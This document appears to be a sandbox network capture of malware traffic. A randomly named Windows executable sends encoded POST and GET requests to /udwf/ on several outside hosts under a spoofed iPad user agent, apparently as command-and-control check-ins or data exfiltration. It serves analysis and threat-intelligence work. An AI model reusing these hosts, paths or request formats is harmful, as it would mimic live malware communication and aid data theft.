Nov 10, 2023 09:28:46.913254023 CET	205	OUT	POST /udwf/ HTTP/1.1 Host: www.spark-tech-global.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.spark-tech-global.xyz Referer: http://www.spark-tech-global.xyz/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 6b 64 69 4f 39 64 46 4c 6b 33 66 48 46 4e 76 6d 63 59 73 66 58 35 75 56 77 6b 32 70 47 59 46 68 6f 71 73 6f 75 70 30 4b 64 36 65 38 2f 2b 58 47 4b 33 6a 33 41 49 51 34 55 6d 66 4d 4b 53 6e 78 73 6b 37 39 33 66 69 78 39 71 6f 5a 37 39 7a 6c 74 50 53 6b 77 4c 31 73 45 54 58 68 47 38 76 5a 67 38 50 49 6f 46 62 53 47 37 61 77 41 56 46 58 6a 63 65 76 7a 49 31 55 6b 31 68 63 36 57 57 79 6b 73 38 31 4d 79 51 54 47 41 48 4d 58 2f 41 65 6f 53 49 38 63 32 58 70 43 59 51 50 2f 76 49 4c 76 33 38 64 4e 4f 2b 75 5a 62 59 64 68 57 56 58 6a 77 4a 70 59 74 54 4b 48 73 58 79 73 30 59 79 41 5a 2b 64 71 62 49 3d Data Ascii: G0Yxd2Q=kdiO9dFLk3fHFNvmcYsfX5uVwk2pGYFhoqsoup0Kd6e8/+XGK3j3AIQ4UmfMKSnxsk793fix9qoZ79zltPSkwL1sETXhG8vZg8PIoFbSG7awAVFXjcevzI1Uk1hc6WWyks81MyQTGAHMX/AeoSI8c2XpCYQP/vILv38dNO+uZbYdhWVXjwJpYtTKHsXys0YyAZ+dqbI=
Nov 10, 2023 09:28:47.207586050 CET	206	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Nov 2023 08:28:47 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.10	49734	162.0.222.119	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:51.157749891 CET	208	OUT	POST /udwf/ HTTP/1.1 Host: www.spark-tech-global.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.spark-tech-global.xyz Referer: http://www.spark-tech-global.xyz/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 6b 64 69 4f 39 64 46 4c 6b 33 66 48 46 4e 76 6d 63 59 73 66 58 35 75 56 77 6b 32 70 47 59 46 68 6f 71 73 6f 75 70 30 4b 64 36 47 38 34 4d 66 47 4c 57 6a 33 42 49 51 34 64 47 66 4e 4b 53 6e 73 73 6b 6a 35 33 66 2b 4c 39 73 73 5a 37 62 50 6c 71 2b 53 6b 35 4c 31 73 49 7a 58 67 4c 63 75 52 67 39 2f 45 6f 46 4c 53 47 37 61 77 41 58 64 58 33 2b 6d 76 78 49 31 54 7a 46 68 49 2b 57 57 61 6b 74 56 49 4d 79 55 44 48 7a 50 4d 58 66 51 65 71 68 67 38 54 32 58 6e 46 59 52 53 2f 76 45 55 76 33 67 6e 4e 4b 32 41 5a 63 55 64 69 41 67 77 33 69 30 2f 62 74 58 6a 50 4d 76 78 67 79 78 4a 61 73 75 31 34 37 73 43 4b 58 49 71 56 48 76 6f 77 6b 6c 63 59 67 65 36 4a 30 69 35 31 4c 70 33 4a 31 71 58 66 76 71 33 6f 73 30 35 4a 7a 35 6f 79 75 4b 69 2b 34 32 45 49 6d 41 57 7a 4f 79 70 6f 39 65 71 31 45 39 33 62 73 68 38 55 79 63 4d 41 4f 51 48 70 32 76 55 69 46 48 38 57 59 51 70 73 39 43 67 61 39 34 58 54 63 46 6d 35 39 45 2b 46 37 4c 32 61 52 35 5a 6e 4c 4e 50 30 71 75 42 30 39 37 65 42 31 30 6a 74 42 30 52 58 73 68 4b 43 35 4a 47 64 37 37 38 34 2b 65 67 69 42 51 67 46 6e 53 57 49 6a 6e 65 5a 32 74 64 49 44 64 53 6b 43 69 49 6d 76 43 67 5a 58 4b 36 32 4e 51 74 69 63 53 4e 58 58 66 53 59 4a 46 34 65 41 6f 53 70 6e 30 7a 77 41 73 74 66 50 6c 4a 37 31 79 56 55 68 6c 68 69 71 6f 78 78 6c 4a 51 46 5a 72 75 74 6b 79 44 6f 2f 42 6e 61 62 36 56 7a 49 6c 6c 53 73 71 46 39 77 6b 49 6a 61 53 4f 69 69 32 74 32 66 64 6c 78 4f 4c 6e 59 57 72 4a 4d 74 36 79 67 48 4e 49 33 63 71 61 39 6c 52 72 2b 59 75 79 4a 69 75 70 45 37 32 35 34 49 33 39 67 74 45 63 6e 4f 64 73 56 4c 42 71 75 41 6c 67 44 33 4b 70 63 30 6d 66 63 43 63 67 39 38 6b 2b 31 41 2f 48 61 52 6b 4a 74 41 4f 4b 64 4f 41 39 6f 47 4c 2b 37 34 77 41 46 76 58 78 33 7a 53 43 2f 69 4c 4e 6a 58 68 45 47 66 57 73 56 71 6e 32 78 70 6c 47 70 72 36 68 30 58 70 31 54 31 66 6b 41 38 79 55 79 42 48 74 74 76 42 30 69 72 79 45 4f 57 32 58 2f 64 64 48 63 76 69 37 5a 37 65 66 6c 5a 6e 58 52 30 37 4a 45 65 72 38 56 69 42 56 4d 44 37 47 70 72 5a 63 6b 57 41 72 79 54 44 73 6d 42 73 6f 4f 47 45 38 39 6b 6d 62 6a 7a 64 43 45 73 43 49 66 71 7a 74 4f 61 31 39 50 59 54 51 55 53 6d 73 68 30 42 46 45 4a 46 4a 4c 4e 33 52 69 34 59 65 79 5a 32 43 58 36 4d 56 32 65 30 33 4d 53 73 58 6e 55 6f 58 37 70 77 53 57 4a 7a 2b 6f 62 58 71 69 6b 30 39 35 55 52 72 78 65 2f 36 45 78 70 38 71 4d 38 31 6a 31 74 65 47 37 57 42 4a 2b 6b 35 35 74 51 41 64 2f 34 35 79 7a 4b 74 4b 49 54 37 31 6f 50 72 38 42 48 54 51 59 77 32 73 78 43 5a 43 4d 59 66 63 57 43 4a 31 76 6b 53 68 6c 74 71 64 57 4d 72 6a 4a 46 41 4b 4e 63 48 69 73 50 51 61 53 43 67 66 6a 66 43 78 33 39 79 31 6d 6f 6e 78 4b 4b 69 73 47 33 7a 38 71 4a 45 49 6d 46 34 4c 75 32 2b 74 66 65 65 78 76 32 61 76 61 74 4f 6b 39 56 79 57 7a 78 4e 4d 46 67 47 4f 34 63 59 67 4a 38 55 4c 34 6d 41 54 46 65 6a 66 6c 67 74 2b 39 63 57 62 59 76 58 69 66 64 6f 78 37 30 52 6a 39 66 61 2f 61 49 64 4d 45 69 51 35 6d 30 44 45 49 56 30 56 71 48 67 4e 53 64 6d 6b 39 44 52 79 78 53 47 44 2f 78 2b 31 36 4f 4b 43 56 71 70 55 55 70 7a 4d 50 7a 52 32 72 65 6d 57 31 30 66 6b 4f 37 6b 69 4c 6a 30 36 6c 36 77 4c 31 56 4d 56 69 77 63 4c 6b 4c 39 44 4f 6d 6e 57 2f 75 4c 34 45 66 75 54 62 59 77 57 4f 63 47 44 74 6d 73 62 58 6a 57 55 63 57 33 7a 67 55 78 69 34 70 50 31 35 4f 71 51 5a 41 4c 31 35 77 50 44 50 42 6d 72 6e 76 36 79 6b 30 2b 47 37 64 47 61 53 55 44 57 57 42 77 6b 6a 55 63 61 67 54 6d 39 46 68 6b 6a 47 46 4c 6e 43 50 51 6a 48 79 42 58 69 63 6c 51 7a 7a 47 65 35 58 46 6e 69 72 46 49 38 67 31 31 71 54 39 6d 6d 6b 55 32 39 42 57 74 48 2f 46 7a 79 37 51 38 54 35 30 64 69 36 64 5a 76 69 4a 57 34 4c 4e 71 42 57 58 6e 68 6e 6e 48 42 55 49 4e 39 55 76 6d 69 31 4c 43 6e 59 76 Data Ascii: G0Yxd2Q=kdiO9dFLk3fHFNvmcYsfX5uVwk2pGYFhoqsoup0Kd6G84MfGLWj3BIQ4dGfNKSnsskj53f+L9ssZ7bPlq+Sk5L1sIzXgLcuRg9/EoFLSG7awAXdX3+mvxI1TzFhI+WWaktVIMyUDHzPMXfQeqhg8T2XnFYRS/vEUv3gnNK2AZcUdiAgw3i0/btXjPMvxgyxJasu147sCKXIqVHvowklcYge6J0i51Lp3J1qXfvq3os05Jz5oyuKi+42EImAWzOypo9eq1E93bsh8UycMAOQHp2vUiFH8WYQps9Cga94XTcFm59E+F7L2aR5ZnLNP0quB097eB10jtB0RXshKC5JGd7784+egiBQgFnSWIjneZ2tdIDdSkCiImvCgZXK62NQticSNXXfSYJF4eAoSpn0zwAstfPlJ71yVUhlhiqoxxlJQFZrutkyDo/Bnab6VzIllSsqF9wkIjaSOii2t2fdlxOLnYWrJMt6ygHNI3cqa9lRr+YuyJiupE7254I39gtEcnOdsVLBquAlgD3Kpc0mfcCcg98k+1A/HaRkJtAOKdOA9oGL+74wAFvXx3zSC/iLNjXhEGfWsVqn2xplGpr6h0Xp1T1fkA8yUyBHttvB0iryEOW2X/ddHcvi7Z7eflZnXR07JEer8ViBVMD7GprZckWAryTDsmBsoOGE89kmbjzdCEsCIfqztOa19PYTQUSmsh0BFEJFJLN3Ri4YeyZ2CX6MV2e03MSsXnUoX7pwSWJz+obXqik095URrxe/6Exp8qM81j1teG7WBJ+k55tQAd/45yzKtKIT71oPr8BHTQYw2sxCZCMYfcWCJ1vkShltqdWMrjJFAKNcHisPQaSCgfjfCx39y1monxKKisG3z8qJEImF4Lu2+tfeexv2avatOk9VyWzxNMFgGO4cYgJ8UL4mATFejflgt+9cWbYvXifdox70Rj9fa/aIdMEiQ5m0DEIV0VqHgNSdmk9DRyxSGD/x+16OKCVqpUUpzMPzR2remW10fkO7kiLj06l6wL1VMViwcLkL9DOmnW/uL4EfuTbYwWOcGDtmsbXjWUcW3zgUxi4pP15OqQZAL15wPDPBmrnv6yk0+G7dGaSUDWWBwkjUcagTm9FhkjGFLnCPQjHyBXiclQzzGe5XFnirFI8g11qT9mmkU29BWtH/Fzy7Q8T50di6dZviJW4LNqBWXnhnnHBUIN9Uvmi1LCnYv
Nov 10, 2023 09:28:51.456449032 CET	209	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Nov 2023 08:28:51 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.10	49716	23.227.38.74	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:27:48.029633999 CET	89	OUT	POST /udwf/ HTTP/1.1 Host: www.littlehappiez.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.littlehappiez.com Referer: http://www.littlehappiez.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 51 31 2f 6c 4d 2b 73 36 4f 59 33 6a 65 71 78 2f 77 4d 69 61 62 68 49 57 75 52 47 63 4c 47 4b 37 47 6b 68 53 36 44 47 64 6a 4d 65 6c 7a 4e 46 6c 4f 72 4b 68 6a 51 53 42 56 4f 38 48 52 66 51 75 5a 46 30 54 53 76 4a 6c 76 67 66 70 51 45 4a 33 33 2f 36 63 68 72 72 43 34 34 45 75 54 7a 4b 75 63 50 32 63 6f 50 5a 34 6c 59 78 38 61 49 4e 44 36 63 49 4b 37 6b 53 75 70 57 32 62 6e 66 6e 4e 6a 59 46 74 56 33 55 73 4e 61 62 61 33 61 4a 33 71 65 78 37 6e 32 78 4d 75 33 4d 32 33 44 2b 46 71 75 57 4b 5a 74 4a 7a 36 4b 70 63 38 57 64 54 6e 52 2b 2f 70 78 7a 35 74 61 59 45 43 4d 6e 74 61 2f 79 31 34 72 38 3d Data Ascii: G0Yxd2Q=Q1/lM+s6OY3jeqx/wMiabhIWuRGcLGK7GkhS6DGdjMelzNFlOrKhjQSBVO8HRfQuZF0TSvJlvgfpQEJ33/6chrrC44EuTzKucP2coPZ4lYx8aIND6cIK7kSupW2bnfnNjYFtV3UsNaba3aJ3qex7n2xMu3M23D+FquWKZtJz6Kpc8WdTnR+/pxz5taYECMnta/y14r8=
Nov 10, 2023 09:27:48.808260918 CET	90	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Nov 2023 08:27:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 293 X-Sorting-Hat-ShopId: 83935199526 Vary: Accept-Encoding X-Frame-Options: DENY X-ShopId: 83935199526 X-ShardId: 293 Content-Language: en-US Set-Cookie: localization=US; path=/; expires=Sun, 10 Nov 2024 08:27:48 GMT; SameSite=Lax Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22USMA%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=littlehappiez.com; path=/; expires=Sat, 11 Nov 2023 08:27:48 GMT; SameSite=Lax Set-Cookie: _shopify_y=1c95b64a-cbaf-4aa7-b895-a0d261c3e83b; Expires=Sat, 09-Nov-24 08:27:48 GMT; Domain=littlehappiez.com; Path=/; SameSite=Lax Set-Cookie: _shopify_s=589267fe-b53a-4fab-acae-faae851dc44c; Expires=Fri, 10-Nov-23 08:57:48 GMT; Domain=littlehappiez.com; Path=/; SameSite=Lax Server-Timing: processing;dur=426 X-Shopify-Stage: production Content-Security-Policy: ; report-uri /csp-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=1e7f5e7f-acb5-464 Data Raw: Data Ascii:
Nov 10, 2023 09:27:48.808281898 CET	91	IN	Data Raw: 2d 39 66 30 39 2d 35 36 35 38 33 30 30 66 39 37 36 38 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 58 2d 44 6f 77 6e 6c 6f 61 64 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 6f 70 65 6e 0d 0a 58 Data Ascii: -9f09-5658300f9768X-Content-Type-Options: nosniffX-Download-Options: noopenX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontrol
Nov 10, 2023 09:27:48.808290005 CET	93	IN	Data Raw: 36 37 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 95 58 5b 6f db 36 14 7e ef af e0 54 0c 68 07 dd 29 5b b6 2a a7 6b d3 76 1b 90 76 c5 3a 60 d8 de 68 89 b6 d8 c8 a2 46 d1 76 d2 a2 ff 7d 87 a4 28 4b 89 d3 ae 09 1a f3 72 ae df b9 f0 b8 f9 0f af 7e bf fc Data Ascii: 679X[o6~Th)[kvv:`hFv}(Kr~Q%w\}4CGPR^<B(QIPQQrr-.$5Hs85dGW*x#irzP@KmMmV]:@B?hEIE>C;"Q%kj'oo}RG\\|/Z]
Nov 10, 2023 09:27:48.808305025 CET	93	IN	Data Raw: 8c 18 81 16 bc 9c 59 a6 d0 8f 63 90 60 e4 5d 4d cc 9a ee fe 71 74 22 7e d0 09 38 4e c5 c7 af 97 2f 5f 63 95 22 e6 4a b7 de 95 13 0f 07 ea b1 f9 c8 19 54 99 9e 6e 9d 8b 3c 50 38 7c 1b 24 70 3d 9d b9 f1 02 5d da 95 bf 9c cf 15 3e f0 e1 c6 00 d3 0c Data Ascii: Yc`]Mqt"~8N/_c"JTn<P8\|$p=]>6BblS?VfAs r^aV$/MYspc1AvrX_E }y=grH6VujfTq.>pZA)"n>9xdvya*\|tVt
Nov 10, 2023 09:27:48.808312893 CET	93	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.10	49735	162.0.222.119	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:53.881416082 CET	209	OUT	GET /udwf/?G0Yxd2Q=pfKu+pVNsln4G6X0TIcdarC36EKmJps8u6QQpqwTd4K74JvWDy/kIYo7R3ufamPFtUrh+tiM68Q084b5gYWBh8dmFEHsBv37jg==&vhQT=aV8PeNo0MvDl1 HTTP/1.1 Host: www.spark-tech-global.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:28:54.178764105 CET	210	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Nov 2023 08:28:53 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.10	49736	91.195.240.19	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:59.698246956 CET	211	OUT	POST /udwf/ HTTP/1.1 Host: www.otternaut.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.otternaut.live Referer: http://www.otternaut.live/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 6b 62 51 6e 63 65 2b 76 75 51 34 6c 45 69 52 64 46 46 74 76 42 50 6e 58 52 33 71 4e 47 5a 57 6d 2b 34 50 76 58 75 2f 76 36 6e 38 4b 2b 4f 62 31 47 31 43 56 65 63 50 76 78 53 49 77 6b 34 61 4d 6a 39 6e 52 71 36 34 6d 53 49 4a 79 43 64 57 72 39 41 43 57 53 69 66 34 51 58 4a 63 41 6d 4f 6a 33 6d 32 76 63 2f 4e 6b 62 70 65 59 31 59 46 52 49 47 4d 44 50 42 57 63 2b 45 70 75 49 73 64 6b 35 61 57 79 2b 67 2f 45 63 4e 6a 39 4f 6e 50 47 56 54 31 4d 6c 54 73 6b 58 66 37 36 2b 5a 62 79 74 31 66 53 77 48 34 4e 67 50 6e 47 5a 56 79 33 58 77 3d 3d Data Ascii: G0Yxd2Q=kbQnce+vuQ4lEiRdFFtvBPnXR3qNGZWm+4PvXu/v6n8K+Ob1G1CVecPvxSIwk4aMj9nRq64mSIJyCdWr9ACWSif4QXJcAmOj3m2vc/NkbpeY1YFRIGMDPBWc+EpuIsdk5aWy+g/EcNj9OnPGVT1MlTskXf76+Zbyt1fSwH4NgPnGZVy3Xw==
Nov 10, 2023 09:29:00.005218029 CET	212	IN	HTTP/1.1 405 Not Allowed date: Fri, 10 Nov 2023 08:28:59 GMT content-type: text/html content-length: 154 server: NginX connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.10	49737	91.195.240.19	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:02.526262999 CET	213	OUT	POST /udwf/ HTTP/1.1 Host: www.otternaut.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.otternaut.live Referer: http://www.otternaut.live/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 6b 62 51 6e 63 65 2b 76 75 51 34 6c 45 43 42 64 44 69 78 76 47 76 6e 55 53 33 71 4e 66 4a 57 71 2b 34 44 76 58 76 37 2f 36 56 6f 4b 2b 73 54 31 55 68 75 56 53 38 50 76 2b 79 49 2f 71 59 62 43 6a 39 72 6e 71 34 73 6d 53 49 4e 79 43 5a 61 72 2b 7a 71 56 53 79 66 36 4a 48 4a 65 45 6d 4f 6a 33 6d 32 76 63 2f 4a 43 62 70 57 59 30 6f 56 52 4c 6e 4d 41 4d 42 57 54 39 45 70 75 65 63 64 67 35 61 